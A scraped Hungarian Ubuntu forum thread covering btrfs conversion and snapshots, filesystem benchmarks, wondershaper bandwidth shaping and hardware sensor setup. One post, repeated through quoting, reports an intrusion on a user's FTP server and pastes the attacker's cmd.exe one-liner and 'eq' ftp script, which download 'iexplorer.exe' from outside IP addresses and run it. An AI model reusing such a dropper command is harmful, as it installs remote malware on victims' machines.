- A nagy Triple Channel Tesz: Hogyan lett egy hibás 24GB-os Kitből 1 "Tökéletes"
- XIAOMI Smart Air Purifier 4 Compact EU - légtisztító újabb okoseszköz a lakásban
- Optikai szál nem kell félnetek jó lesz, avagy a damil alapú hálózat
- A PC-m több mint 1 évtizedes története - AMD FX OC, 64GB RAM, ipari SSD - 1.rész
- Agglegénykonyha 15 – Néhány tavaszias recept
- D1Rect: Nagy "hülyétkapokazapróktól" topik
- sziku69: Fűzzük össze a szavakat :)
- Meggyi001: Kín
- lezso6: Szekunder szarkazmus
- E.Kaufmann: Optikai szál nem kell félnetek jó lesz, avagy a damil alapú hálózat
- Luck Dragon: Asszociációs játék. :)
- bullseye: Clickbait szülinapi sorsolás II - még drágább a clickbaited
- Sub-ZeRo: Euro Truck Simulator 2 & American Truck Simulator 1 (esetleg 2 majd, ha lesz) :)
- sziku69: Szólánc.
- Invázió egy novellában 3-4. (Update) +5. fejezet! (18+ nyelvezet)
Aktív témák
-
Kendek
MODERÁTOR
Sokan használnak notebookon Ubuntut, és sokan akarnak átállni btrfs fájlrendszer használatára, ezért kidolgoztam egy olyan módszert, aminek segítségével külön telepített, második rendszer nélkül is megoldható a dolog. Mert ugye tegnap ezt írtam le, hogy azzal milyen egyszerű, de meglehet oldani egy sima Live Ubuntuval is a dolgot, most ennek a lépéseit írom le röviden, tömören:
1. Live Ubuntu indítás, GPartedben le kell csípni egy olyan 100 MB-nyit az átkonvertálandó rendszer partíciójából, majd ebből készíteni kell egy új partíciót és ext4-re kell formázni.
2. Telepített Ubuntu indítása, az újonnan létrehozott partíciót csatolni kell, majd a /boot teljes tartalmát át kell helyezni rá. Ezután le kell csatolni, és terminálban a /boot alá felcsatolni, hogy a helyén legyen. Az fstabot ki kell egészíteni, hogy benne legyen ez a partíció is (pl.: UUID=34521b78-28bb-4bb8-8b4f-bfffb1b73df6 /boot ext4 defaults 0 2). GParted segítségével ezt a 100 MB-os partíciót aktívra lehet állítani, de asszem ez nem lényeges annyira, enélkül is működik, de biztos ami biztos én így csináltam. Ezután Syanptic segítségével újra kell telepíteni a grub-pc csomagot.
3. Újfent a Live rendszer indítása, majd a Synapticban be kell jelölni a Universe tárolót, frissítés, majd jöhet a btrfs-tools telepítése. Terminálban a btrfs-convert segítségével lehet átkonvertálni eztán a root, ext4-es partíciót. Ezután az fstabot újfent át kell szerkeszteni, a / alá csatolandó btrfs UUID-jére átírni a régit, meg persze az ext4-et át kell írni btrfs-re. A grub.cfg-ben a root= utáni UUID-t szintén át kell írni az új karaktersorozatra.
4. Jöhet az Ubuntu indítása, először kiírogat dolgokat, hogy ismeretlen fájlrendszer meg ilyesmi, de rendben elindul a rendszer, be lehet jelentkezni. Újfent újra kell telepíteni a grub-pc csomagot a Synaptic segítségével, majd készen is vagyunk. Eztán simán elindul a rendszer, nem ír ki hibaüzeneteket.Ennyi lenne az egész, ez így csak pár perces munka, és viszonylag egyszerű az egész. Most így már a notebookomon is btrfs fájlrendszer van az Ubuntu alatt.
(#28399) sheratan: amennyire én tudom, az ext4-es fájlrendszer töredezettség mentesítése még mindig nem megoldott. Ellenben a btrfs-t már lehet, akár könyvtáranként és fájlonként is (sőt, asszem hogy csak így). Az indoe-ok előre le vannak foglalva, szal szerintem az nem töredezik. Persze lehet rajt variálni utólag, akkor elképzelhető.
-
mihez képest több memóriát?
netbookra Win7 volt, kénytelen voltam venni 2GB ramot, mert startup után 600-700MB foglalás volt, ami hamar elérte a 980MB-ot, amikor elkezdte kiüríteni a ramot, olyan 500MB-ig
Ehhez képest a 10.04 netbook edition induláskor 165-190Mb-ot foglal, és 0MB swap, még sosem értem el az 1GB határt
Win-en a 2GB mellé 2GB swap+2GB sd a rendszer turbo boost-hoz, és símán elérem a 85-90%-os foglalást
-
Találtam egy hasznos hozzászólást az ubuntufórumon, érdemes angolul értőknek elolvasni. Részben azt is megmagyarázza, hogy a lucid miért fogyaszt több memóriát indítás után, mint a régebbi kiadások.
mihez képest több memóriát?
netbookra Win7 volt, kénytelen voltam venni 2GB ramot, mert startup után 600-700MB foglalás volt, ami hamar elérte a 980MB-ot, amikor elkezdte kiüríteni a ramot, olyan 500MB-ig
Ehhez képest a 10.04 netbook edition induláskor 165-190Mb-ot foglal, és 0MB swap, még sosem értem el az 1GB határt
Win-en a 2GB mellé 2GB swap+2GB sd a rendszer turbo boost-hoz, és símán elérem a 85-90%-os foglalást
-
most beleolvastam a magyarba. főnööm gépére múlt héten telepítettem a Lynxet, az alapjúzerrel+2 mezeivel. ez utóbbiak a név kiválasztása után automatikus bejelentkezéssel. vicces módon ha ezen a két fiók valamelyikébe jelentkezem be, lassabban tölt a rendszer, mint amikor az adminjogú fiókba jelszó beütésével együtt.
tényleg, arra van lehetőség, hogy fiókváltáskor - mikor bejelentkezve van/marad több fiók is - ne kérjen jelszót? mondjuk nem bonyolult a jelszavuk, csak lusták.
-
Ha valaki mégsem értene angolul, akkor magyarul is elolvashatja a lényeget.
most beleolvastam a magyarba. főnööm gépére múlt héten telepítettem a Lynxet, az alapjúzerrel+2 mezeivel. ez utóbbiak a név kiválasztása után automatikus bejelentkezéssel. vicces módon ha ezen a két fiók valamelyikébe jelentkezem be, lassabban tölt a rendszer, mint amikor az adminjogú fiókba jelszó beütésével együtt.
tényleg, arra van lehetőség, hogy fiókváltáskor - mikor bejelentkezve van/marad több fiók is - ne kérjen jelszót? mondjuk nem bonyolult a jelszavuk, csak lusták.
-
Találtam egy hasznos hozzászólást az ubuntufórumon, érdemes angolul értőknek elolvasni. Részben azt is megmagyarázza, hogy a lucid miért fogyaszt több memóriát indítás után, mint a régebbi kiadások.
Ha valaki mégsem értene angolul, akkor magyarul is elolvashatja a lényeget.
-
Ja, mindig az adott könyvtárban áltam, amikor készültek. Lehet nálam a LUKS bolondítja meg a dolgokat.
Én is beleöltem néhány órát.
Majd ha lesz kedvem, lehet próbálkozom még vele. Snapshottal bootolást próbáltad már? Érdemes tudni, hogy kernel upgrade után régebbi snapshot nem fog működni a régebbi kernel img miatt.
Egyébként Te melyik kernellel nézted? Mert tartom valószínűnek, hogy az sem mindegy, és a 2.6.35-ös kezeli jól már.
Kernel frissítés után még nem, de a jövőben bizonyára nem lesz ezzel gond, mikor a /boot könyvtár alá nem kell már más fájlrendszert csatolni. Ha egyben van az egész, vagy legalábbis a /home van csak mondjuk külön, akkor nem lesz gond.
Nekem azért került több órába főleg, mert hatalmas partíciókat, tele tartalommal konvertálgattam át. Olyan 2,5-3 órás időtartam volt csak kettő, egyenként.
Persze ezek konvertálási sebességét nagyban csökkentette az is, hogy ezek titkosított partíciók. -
Jah, véletlen összekevertem őket, az Nautilus akart lenni, bocsi.
Már fáradt vagyok, mert leszívta az energiámat ez a btrfs-es default subvolume.Akkor nálad nem működik az általam leírt lépések követésével sem a dolog? Mert nálam jó volt így, ahogy írtam.
Mondjuk én úgy hoztam létre a snapshotokat, hogy másodjára is kiírtam az elérési útvonalat is, mert különben csak úgy jó, ha az adott könyvtárban állunk. Például:btrfs subvolume snapshot /media/home2 /media/home2/`date +%Y.%m.%d.,%H.%M.%S`
Ja, mindig az adott könyvtárban áltam, amikor készültek. Lehet nálam a LUKS bolondítja meg a dolgokat.
Én is beleöltem néhány órát.Majd ha lesz kedvem, lehet próbálkozom még vele. Snapshottal bootolást próbáltad már? Érdemes tudni, hogy kernel upgrade után régebbi snapshot nem fog működni a régebbi kernel img miatt.
-
Ugyanezt csináltám én is. Még az ellenőrzési módszerünk is megegyezik
Azaz, pl. btrs subvolume snapshot / _active paraccsal hoztam létre subvolume-t. Úgy látszik, 256-nál kezdi a számozást minden esetben.
Szerk: Synapticban?!
Rég láttam ubuntut (bocs, hogy látogatom ezt a topicot ![;]](//cdn.rios.hu/dl/s/v1.gif)
), de legutolsó emlékeim szerint az csomagkezelőJah, véletlen összekevertem őket, az Nautilus akart lenni, bocsi.
Már fáradt vagyok, mert leszívta az energiámat ez a btrfs-es default subvolume.Akkor nálad nem működik az általam leírt lépések követésével sem a dolog? Mert nálam jó volt így, ahogy írtam.
Mondjuk én úgy hoztam létre a snapshotokat, hogy másodjára is kiírtam az elérési útvonalat is, mert különben csak úgy jó, ha az adott könyvtárban állunk. Például:btrfs subvolume snapshot /media/home2 /media/home2/`date +%Y.%m.%d.,%H.%M.%S`
-
Igen, tudok készíteni, illetve igen, megy az is, hogy beállítsam, hogy alapértelmezetten a snapshot csatolódjon fel. Lépések:
Csatold a partíciót, majd add ki a parancsot:btrfs subvolume list /...<csatolási pont>
Nálam ez jött ki erre:
ID 256 top level 5 path 2010.06.25.,14.08.46
Tehát 256 az ID, ez kell csak. Jöhet a parancs a default beállításához az én példámmal:
btrfs subvolume set-default 256 /media/home2
Ezután lecsatoltam, majd fel a partíciót, és már a snapshot csatolódott fel. Tudom ezt azért, mert az ellenőrzésképp létrehozott könyvtár hiányzik, meg persze a subvolume is eltűnt.
Ugyanezt csináltám én is. Még az ellenőrzési módszerünk is megegyezik
Azaz, pl. btrs subvolume snapshot / _active paraccsal hoztam létre subvolume-t. Úgy látszik, 256-nál kezdi a számozást minden esetben.
Szerk: Synapticban?!
Rég láttam ubuntut (bocs, hogy látogatom ezt a topicot ), de legutolsó emlékeim szerint az csomagkezelő -
Igen, tudok készíteni, illetve igen, megy az is, hogy beállítsam, hogy alapértelmezetten a snapshot csatolódjon fel. Lépések:
Csatold a partíciót, majd add ki a parancsot:btrfs subvolume list /...<csatolási pont>
Nálam ez jött ki erre:
ID 256 top level 5 path 2010.06.25.,14.08.46
Tehát 256 az ID, ez kell csak. Jöhet a parancs a default beállításához az én példámmal:
btrfs subvolume set-default 256 /media/home2
Ezután lecsatoltam, majd fel a partíciót, és már a snapshot csatolódott fel. Tudom ezt azért, mert az ellenőrzésképp létrehozott könyvtár hiányzik, meg persze a subvolume is eltűnt.
Ha nem lenne egyértelmű, akkor visszacsinálni úgy lehet a dolgot, hogy a top level számot kell megadni, a saját esetemben ez a parancs:
btrfs subvolume set-default 5 /media/home2
Természetesen a felcsatolt subvolume van a /media/home2 alatt.
Persze erre csak nagyon nehezen jöttem rá, ezért írom le. Már mindenre gondoltam, mindent próbáltam, de ez az 5-ös szám csak így legvégül ugrott be, hogy talán ez a megoldás.
Egyébként a subvulome-os felcsatolás nem úgy viselkedett, ahogy általában a felcsatolt partíciók, mert például a Synapticban nem lehetett lecsatolni csak fel, illetve le csak root jogokkal, de akkor sem távolította el a létrehozott csatolási könyvtárat. Nem tudom, hogy ez mitől van, de visszaállítva a dolgot, újra jó lett. A terminálos csatolásosdi minden esetben ment persze. -
-
Subvolume-kat tudsz készíteni? Illetve megy az, hogy beállítsd set-defaulttal? Nálam a / és a /home külön partíción van, és a subvolume mindkét esetben ugyanazt az ID-t kapta, úgyhogy set-default után a rendszervisszaállítás következett.
Igaz még egy csavar van benne, mindkét partíció LUKS-on van -
Hát, amennyi időbe belekerült tegnap a telepítés meg beállogatás, inkább többet nem szeretném végigcsinálni. Persze majd kell, de most igazából szükségtelen volt. Kockázat a dologban meg semmi sem volt, mert könnyedén vissza tudtam volna csinálni az egészet, még most is, ha akarnám.
Egyetlen probléma, hogy a btrfs fájlrendszeren elhelyezkedő swap fájlt nem lehet csatolni, így most nincs swapom.Subvolume-kat tudsz készíteni? Illetve megy az, hogy beállítsd set-defaulttal? Nálam a / és a /home külön partíción van, és a subvolume mindkét esetben ugyanazt az ID-t kapta, úgyhogy set-default után a rendszervisszaállítás következett.
Igaz még egy csavar van benne, mindkét partíció LUKS-on van -
Nah, átkonvertáltam az éles rendszerem alatt is az ext4 partíciót btrfs-re, csak pár perces meló volt az egész. Tegnap jó pár órát eltököltem az új rendszer telepítésével és beállításával, ez nem túl kellemes, de persze szükségtelen is lett volna, csak a legalapvetőbb módszer nem jutott eszembe a GRUB 2 újratelepítésére. A menete:
Elindítottam a frissen telepített rendszert (de jó lett volna a régi is), GParted segítségével vágtam le az átkonvertálandó rendszer partíciójából 100 MB-ot, majd azt ext4-re formáztam, aktívra állítottam. Amiből levágtam, azt átkonvertáltam btrfs-re, majd csatoltam, mint ahogy az újonnan készült 100 megásat is. Ez utóbbira áthelyeztem az előbbin levő boot könyvtár teljes tartalmát. Az fstabot módosítottam úgy, hogy a / UUID-jét átírtam a konvertálás miatt megváltozott új karaktersorozatra (meg az ext4-et btrfs-re), meg kiegészítettem még a /boot alá csatolandó 100 MB-os ext4-es fájlrendszer UUID-jével. A grub.cfg-ben is átírtam ez utóbbi UUID-re az ottani karaktersorozatokat. Ezután nyomattam egy sudo update-grub-ot, majd újraindítottam a gépet. Nyomtam erőteljesen a Shift billentyűt, kiválasztottam az újonnan átkonvertált rendszert, és szépen el is indult. Ott aztán a Synaptic segítségével újratelepítettem a grub-pc csomagot és megint újraindítottam, de úgy, hogy már le volt húzva a másik merevlemez, csak ez maradt. Voilá, elindult rendben a rendszer, ennyi volt az egész, semmi ördöngősség.Látom te is szeretsz kísérletezni.
-
Nah, közben eljátszadoztam még a btrfs-el, megpróbáltam a másodlagos biztonsági rendszeremet átültetni rá. A /boot-tot külön raktam szépen ext4-re, elvileg minden stimmelt, de egyszerűen nem tudtam a GRUB-ot feltelepíteni úgy, hogy működjön. Próbáltam háromféleképpen is, de a chroot-os dolog nem működik.
Föltelepítettem akkor alternate CD-vel, nem mértem az időt, de elég sokáig tartott a dolog, bőven tovább mint ext4-el. Most nagyjából már normalizálódott a helyzet, mert beállítottam mindent, de az első indítás után is elég lassúcska volt.
Egyelőre két problémám van még, az egyik, hogy az egérkurzor olyan 3 másodpercen belül mindig eltűnik, csak mozgatásra jön elő (ez lehet aztán, hogy valami feature lesz, ki tudja), a másik pedig, hogy nem tudok swap fájlt kreálni, illetve az átmásolt kész fájlt sem lehet bekapcsolni, nem jöttem rá, hogy mért.Nah, átkonvertáltam az éles rendszerem alatt is az ext4 partíciót btrfs-re, csak pár perces meló volt az egész. Tegnap jó pár órát eltököltem az új rendszer telepítésével és beállításával, ez nem túl kellemes, de persze szükségtelen is lett volna, csak a legalapvetőbb módszer nem jutott eszembe a GRUB 2 újratelepítésére. A menete:
Elindítottam a frissen telepített rendszert (de jó lett volna a régi is), GParted segítségével vágtam le az átkonvertálandó rendszer partíciójából 100 MB-ot, majd azt ext4-re formáztam, aktívra állítottam. Amiből levágtam, azt átkonvertáltam btrfs-re, majd csatoltam, mint ahogy az újonnan készült 100 megásat is. Ez utóbbira áthelyeztem az előbbin levő boot könyvtár teljes tartalmát. Az fstabot módosítottam úgy, hogy a / UUID-jét átírtam a konvertálás miatt megváltozott új karaktersorozatra (meg az ext4-et btrfs-re), meg kiegészítettem még a /boot alá csatolandó 100 MB-os ext4-es fájlrendszer UUID-jével. A grub.cfg-ben is átírtam ez utóbbi UUID-re az ottani karaktersorozatokat. Ezután nyomattam egy sudo update-grub-ot, majd újraindítottam a gépet. Nyomtam erőteljesen a Shift billentyűt, kiválasztottam az újonnan átkonvertált rendszert, és szépen el is indult. Ott aztán a Synaptic segítségével újratelepítettem a grub-pc csomagot és megint újraindítottam, de úgy, hogy már le volt húzva a másik merevlemez, csak ez maradt. Voilá, elindult rendben a rendszer, ennyi volt az egész, semmi ördöngősség. -
Jobb egérgomb az ikon felett -> Méret
(#28371) hackeeeee: mindenképpen a Mozilla Security Team a jó választás, mert abban benne van a legújabb, 3.6.4-es Firefox is, míg a másikban még csak a 3.6 van és már több hónapja nem frissítették (legalábbis a Lucidét nem, de a Karmichoz is csak a 3.6.3 van benne.)
(#28368) kovaax: a lefoglalatlan megákat hozzá tudod adni GParteddel az előttük levő partíciókhoz, az nem tart semeddig sem. A legelején levőt meg hozzá tudod adni az utána következőhöz, csak az kicsit tovább fog tartani, bár nem kibírhatatlanul, mert nem túl nagy a mérete annak sem.
-
Jobb egérgomb az ikon felett -> Méret
(#28371) hackeeeee: mindenképpen a Mozilla Security Team a jó választás, mert abban benne van a legújabb, 3.6.4-es Firefox is, míg a másikban még csak a 3.6 van és már több hónapja nem frissítették (legalábbis a Lucidét nem, de a Karmichoz is csak a 3.6.3 van benne.)
(#28368) kovaax: a lefoglalatlan megákat hozzá tudod adni GParteddel az előttük levő partíciókhoz, az nem tart semeddig sem. A legelején levőt meg hozzá tudod adni az utána következőhöz, csak az kicsit tovább fog tartani, bár nem kibírhatatlanul, mert nem túl nagy a mérete annak sem.
Értem, kösz.
Csak mert most jött a 3.6.6 és ezért kérdeztem. Bár Chrome-ozok, de kíváncsi voltam.
-
kovaax
őstag
Sziasztok,
Megint jövök okosakat kérdezni. Lett egy 200 gigás vinyó a kacat gépembe, raktam rá Xubuntut, meg aztán raktam utána egy Squeeze-t is. A vinyó particionálását a Xubi telepítővel csináltam meg előre, van egy Xubi gyökér, meg egy swap, ők elsődleges particiók. Aztán kiterjesztettben van a Xubi /home, Squeeze / /home, meg lesz egy Fedora is (/ /home). Namármost a Squeeze nem tudta formázni a particióit, mondjuk a Fedoráét sikerült vele törölnöm, de aztán gond nélkül rátelepült formázás nélkül, és működik is. Nézegetem Xubi alól, és azt látom, hogy a gparted 1 Mb méretű lefoglalaltan helyeket jelez ott, ahol az fdisk szerint egymást követik a particiók. Ez mi a fenétől van?
-
Iginotus
addikt
Nu találtam egy zavaro tényezöt Proftpd ben.
Szépen muzsikál, csak nem támogatja a magyar ékezeteket
Valakinek van erre megoldása? Ezen kívül mert ez nem megy.:
ProFTPD - iconv -
Nah, kész is vagyok. Kétféle tesztet csináltam, egy nagy fájlosat, melyet a Debian.vdi képviselt a maga 12,7 GiB-nyi méretével:
btrfs -> btrfs compress - 1:56.30
ext4 -> btrfs compress - 1:52.18
btrfs -> ext4 - 1:52.18
btrfs compress -> ext4 - 1:49.67
btrfs compress -> btrfs - 1.52.55meg egy kis fájlosat, amit kettő kernel forrás együttes mérete adott:
btrfs -> btrfs compress - 2:59.35
ext4 -> btrfs compress - 2:50.33
btrfs -> ext4 - 1:45.62
btrfs compress -> ext4 - 1:33.69
btrfs compress -> btrfs - 1:58.49
ext4 -> btrfs - 1:58.19Itt ez utóbbinál lemértem mindent kétszer, volt amit háromszor is, és a jobbikat adtam meg.
Annyi látszik, hogy bizony a tömörített btrfs kicsiny fájlok másolásánál nem jeleskedik a sebesség szempontjából. Az ext4 pedig egyértelműen, minden esetben gyorsabb a btrfs-nél. Tehát asszem inkább kikapcsolom ezt a tömörítéses bigyulát.
Akkor közel azonos a teljesítmény. De nem értem, a phoronix oldalán hogy mértek akkor olyan eredményeket?
-
Számolj 5000/1000-el. Mondjuk torrent miatt érdemes visszább venni, de ne 768-ra, hanem bőségesen elég 950-re is, különben elveszik elég sok sávszél. Szal próbáld meg így, hogy 5000 és 950, ezt írd be. Amúgy ők váltáskor biztosan nem 1024-el számolnak, hanem csak 1000-el.
rendben sokat segítettél
-
Nincsen GUI hozzá, leírom, hogy mit kell tenned:
Első lépésben telepíted, majd a /usr/sbin/wondershaper fájlt megnyitod szerkesztésre, az első sorában a #!/bin/sh-t át kell írni #!/bin/bash-ra.
Második lépésben a /etc/network/interfaces fájlt nyitod meg szerkesztésre, és abba írogatod a dolgokat, például így nézzen ki:auto lo
iface lo inet loopback
up /usr/sbin/wondershaper wlan0 5000 500
down /usr/sbin/wondershaper clear wlan0ez azt jelenti, hogy a wlan0 eszközt (ez wifi, amúgy a vezetékes az eth0 lesz valszeg nálad) szabályozza, a maximális letöltés 5000 Kbps, a feltöltés meg 500 Kbps. Ez utóbbinál érdemes olyan 5-10 %-nál kevesebbet írni mint a névleges sebesség, akkor a leghatékonyabb. Ellenőrzésképp, hogy működik-e, írhatsz be alacsonyabb számokat is, mint a sávszélességed, akkor annál gyorsabban letölteni nem tudsz, ha jó.
Hogy működésbe lépjen, ki kell még adni asudo /etc/init.d/networking restart
parancsot úgy, hogy a hálózati ikonnál az értesítési területen letiltod a hálózatot addig, majd utána engedélyezed. Vagy persze újra is indíthatod a gépet.
köszönöm ! kirpóbálom
ha 5mbit es fel, és 1mbit es fel, sávszélességem van akkor 5*1024el és mittomén ahogy írtad 500 helyett lehet pl 768? csak hogy azért a torrent menjen rendesen
-
Értem, világos.
A btrfs jó darabig nem hiszem, hogy konkurencia lesz, mert leghamarabb a 11.04-es ubiban lehet alapértelmezett. Más rendszeren akár hamarabb is, de ugye az ubi a legnépszerűbb disztró. Addig meg sokan örülnek neki szerintem. Hajrá, kíváncsi vagyok a tesztekre!
Nah, kész is vagyok. Kétféle tesztet csináltam, egy nagy fájlosat, melyet a Debian.vdi képviselt a maga 12,7 GiB-nyi méretével:
btrfs -> btrfs compress - 1:56.30
ext4 -> btrfs compress - 1:52.18
btrfs -> ext4 - 1:52.18
btrfs compress -> ext4 - 1:49.67
btrfs compress -> btrfs - 1.52.55meg egy kis fájlosat, amit kettő kernel forrás együttes mérete adott:
btrfs -> btrfs compress - 2:59.35
ext4 -> btrfs compress - 2:50.33
btrfs -> ext4 - 1:45.62
btrfs compress -> ext4 - 1:33.69
btrfs compress -> btrfs - 1:58.49
ext4 -> btrfs - 1:58.19Itt ez utóbbinál lemértem mindent kétszer, volt amit háromszor is, és a jobbikat adtam meg.
Annyi látszik, hogy bizony a tömörített btrfs kicsiny fájlok másolásánál nem jeleskedik a sebesség szempontjából. Az ext4 pedig egyértelműen, minden esetben gyorsabb a btrfs-nél. Tehát asszem inkább kikapcsolom ezt a tömörítéses bigyulát. -
Értem, világos.
A btrfs jó darabig nem hiszem, hogy konkurencia lesz, mert leghamarabb a 11.04-es ubiban lehet alapértelmezett. Más rendszeren akár hamarabb is, de ugye az ubi a legnépszerűbb disztró. Addig meg sokan örülnek neki szerintem. Hajrá, kíváncsi vagyok a tesztekre!
[link]
ez szerint jó utolsó postok
calibrálást nem lelem persze, de pontos -
Mert igencsak bonyolultnak találtam a dolgot. Alapból nem lenne gond, de fel kellene tölteni fordításra, de ezen nincs mit fordítani. Egy csomó mindent is figyelembe kell venni, az elnevezésnél is be kell tartani szabályokat. Aztán meg ott van az is, hogy nem csak Ubuntuhoz jó. Persze ha valaki jártasabb személy adna eligazítást, akkor végül is oda is felmehetne. De amennyit frissítem mostanában, még tároló sem kell neki. Őszintén szólva a btrfs nagy konkurencia, úgyhogy lehet értelmét is veszti a dolog hamarosan.
Jut eszembe, csinálom is a sebességméréseket akkor.
Értem, világos.
A btrfs jó darabig nem hiszem, hogy konkurencia lesz, mert leghamarabb a 11.04-es ubiban lehet alapértelmezett. Más rendszeren akár hamarabb is, de ugye az ubi a legnépszerűbb disztró. Addig meg sokan örülnek neki szerintem. Hajrá, kíváncsi vagyok a tesztekre!
-
Mert igencsak bonyolultnak találtam a dolgot. Alapból nem lenne gond, de fel kellene tölteni fordításra, de ezen nincs mit fordítani. Egy csomó mindent is figyelembe kell venni, az elnevezésnél is be kell tartani szabályokat. Aztán meg ott van az is, hogy nem csak Ubuntuhoz jó. Persze ha valaki jártasabb személy adna eligazítást, akkor végül is oda is felmehetne. De amennyit frissítem mostanában, még tároló sem kell neki. Őszintén szólva a btrfs nagy konkurencia, úgyhogy lehet értelmét is veszti a dolog hamarosan.
Jut eszembe, csinálom is a sebességméréseket akkor.
-
Mindegy, de azért próbálkozzatok Ti is
ftp://rendszerment.homelinux.net
ftp://84.3.79.30Na, de egyébként nem kell tényleg félni, hiszen ezek a tárolók védve vannak, ha illetéktelen személy módosít rajta, akkor nem lesz jó a hitelesítés.
Amúgy miért nem csináltál launchpadon egy ppa tárolót neki?
-
Mindegy, de azért próbálkozzatok Ti is
ftp://rendszerment.homelinux.net
ftp://84.3.79.30Na, de egyébként nem kell tényleg félni, hiszen ezek a tárolók védve vannak, ha illetéktelen személy módosít rajta, akkor nem lesz jó a hitelesítés.
-
De nem értem a dolgot, mert csak olvasható a tartalom, nem tudnak bejelentkezni adminként, mert nincsenek felhasználók sem. Próbálkozni próbálkoztak, sőt, folyamatos volt a támadás router nélkül. Most éppen azért néztem rá, mert nem logolt, bár ez inkább azért volt, mert nem futott.
(#28349) hackeeeee: néha volt csak nyitva, meg próbálkoztam a Windet beüzemelni routernek, de aztán meggondoltam magam. Egyrészt azért, mert max. WEP titkosításig jutottam, másrészt meg azért, mert a security logban csak azt láttam, hogy állandóan próbálnak bejelentkezni adminként. Inkább dobtam fel a routerre egy DD-WRT firmware-t, aztán király lett az is.
Jah értem.
Hát a fene se tudja.. De láthatod Te is, vannak még csodák.
-
Bake, most néztem rá az FTP szerveremre (vagyis tároló), ProFTPD-vel megy meg minden. Mondjuk nyitott Wifivel egyből beszokott költözni a megosztott könyvtárba egy exe-s fájl, ezt törölni szoktam. De persze titkosítva van, szal nincs gond. Viszont most a root terminált nézegetve találtam érdekes parancsokat, amelyeket még véletlen sem én adtam ki:
7~
%systemroot%\system32\cmd.exe
del eq&echo open 190.142.239.135 20207 >> eq&echo user 22438 22543 >> eq &echo get iexplorer.exe >> eq &echo quit >> eq &ftp -n -s:eq &iexplorer.exe &del eqMeg van egy eq elnevezésű fájl is a saját könyvtáramban, azóta már töröltem. A tartalma:
get iexplorer.exe
open 190.159.142.119 18037
quit
user 20669 2222
open 190.105.3.227 33678
get iexplorer.exe
user 19444 32654
quit
get iexplorer.exe
user 22438 22543
quit
open 190.142.239.135 20207Nyugalom, pánikra semmi ok, nincsen Internet Explorer a rendszeren.
A nyitott wifi csodája.
-
Bake, most néztem rá az FTP szerveremre (vagyis tároló), ProFTPD-vel megy meg minden. Mondjuk nyitott Wifivel egyből beszokott költözni a megosztott könyvtárba egy exe-s fájl, ezt törölni szoktam. De persze titkosítva van, szal nincs gond. Viszont most a root terminált nézegetve találtam érdekes parancsokat, amelyeket még véletlen sem én adtam ki:
7~
%systemroot%\system32\cmd.exe
del eq&echo open 190.142.239.135 20207 >> eq&echo user 22438 22543 >> eq &echo get iexplorer.exe >> eq &echo quit >> eq &ftp -n -s:eq &iexplorer.exe &del eqMeg van egy eq elnevezésű fájl is a saját könyvtáramban, azóta már töröltem. A tartalma:
get iexplorer.exe
open 190.159.142.119 18037
quit
user 20669 2222
open 190.105.3.227 33678
get iexplorer.exe
user 19444 32654
quit
get iexplorer.exe
user 22438 22543
quit
open 190.142.239.135 20207Nyugalom, pánikra semmi ok, nincsen Internet Explorer a rendszeren.
Hm, csak nem kíváncsi "szemek"?
-
Kendek
MODERÁTOR
Bake, most néztem rá az FTP szerveremre (vagyis tároló), ProFTPD-vel megy meg minden. Mondjuk nyitott Wifivel egyből beszokott költözni a megosztott könyvtárba egy exe-s fájl, ezt törölni szoktam. De persze titkosítva van, szal nincs gond. Viszont most a root terminált nézegetve találtam érdekes parancsokat, amelyeket még véletlen sem én adtam ki:
7~
%systemroot%\system32\cmd.exe
del eq&echo open 190.142.239.135 20207 >> eq&echo user 22438 22543 >> eq &echo get iexplorer.exe >> eq &echo quit >> eq &ftp -n -s:eq &iexplorer.exe &del eqMeg van egy eq elnevezésű fájl is a saját könyvtáramban, azóta már töröltem. A tartalma:
get iexplorer.exe
open 190.159.142.119 18037
quit
user 20669 2222
open 190.105.3.227 33678
get iexplorer.exe
user 19444 32654
quit
get iexplorer.exe
user 22438 22543
quit
open 190.142.239.135 20207Nyugalom, pánikra semmi ok, nincsen Internet Explorer a rendszeren.
-
-
Jó, félreértettem. Ebben az esetben is az Alt+F2-őt javaslom: gksu calibrate_touchscreen, vagy ha így nem megy, akkor gksu /usr/bin/calibrate_touchscreen, de nyomhatod terminálból sudo-val is.
ja, csak marhára no file
ez az n+1 nem működő leírás.nem hozott létre ott ilyen fileokat, apt szerint minden telepítve
gyári evtouch driver nem telepedik, szar az installer, szerinte nincs blacklist file, hogy letiltsa a ygári usbtouchscreent
holott van
szerinte xorg.conf sincs, stb -
-
-
Feltelepíted a sensors-applet elnevezésű csomagot, majd azért ellenőrizd, hogy az lm-sensors is fönt van-e. Futtasd le terminálban a
sudo sensors-detect
parancsot, mindenre igennel válaszolj, illetve egyszer csak Entert kell nyomni.
Jobb egérgomb a panelra (igen, ami alul meg fölül van) -> Hozzáadás a panelhez -> Hardware Sensor Monitor.
Jobb egérgomb a kihelyezett hőmérsékleti értékre -> Beállítások -> Szenzorok
Itt még be tudsz pipálni egy csomó mindent elméletileg, ha kell (ventilátor sebességek, feszültség értékek). -
-
hmm. az a para h nemtudja kiolvasni mert egy mobil procit hajtok amit az alaplap "nem ismer fel" de faszán megy. bios kiolvassa a hömérsékletét de itt sajnos nem
ez igy reális hogy azért mert ismeretlen a proci?
a gnome panelt hogy inditsam? vagy az a tálca? bocs noob vokNem. Tálca az win-en van. Itt panel van, ubi alatt éppenséggel gnome-panel
-
GNOME panel a sensors-applettel, vagy Screenlets, stb.. Meg persze a
sudo sensors-detect
parancs lefuttatása, igenembert eljátszva.hmm. az a para h nemtudja kiolvasni mert egy mobil procit hajtok amit az alaplap "nem ismer fel" de faszán megy. bios kiolvassa a hömérsékletét de itt sajnos nem
ez igy reális hogy azért mert ismeretlen a proci?
a gnome panelt hogy inditsam? vagy az a tálca? bocs noob vok -
Alt lenyom-felenged, lefele nyíl, erre bejön a menü
A winetricks nem kellett hozzá. Az officiális 1.1.42-es Wine-vel is elindult, és ugyanúgy viselkedett mint a legfrissebb RC-vel.ntomka:
Nincs itt hiba, pont azért tettem fel mást, mint ami a tárolóban van, mert újabbat akartam, mert csak fejlesztik a drivert, és a hardver megvételével support szolgáltatást is vásároltam, miért kéne nekem elesnem a jó dolgoktól csak azért mert linux alatt körülményes megoldani?
Egyébként Kendek adott olyan tárolóra címet amiben ott a friss dirver, de az nem működött nálam, ezért tettem fel az ATI-t a honlapjáról, telepítővel.Köszi az infót. megpróbálom
-
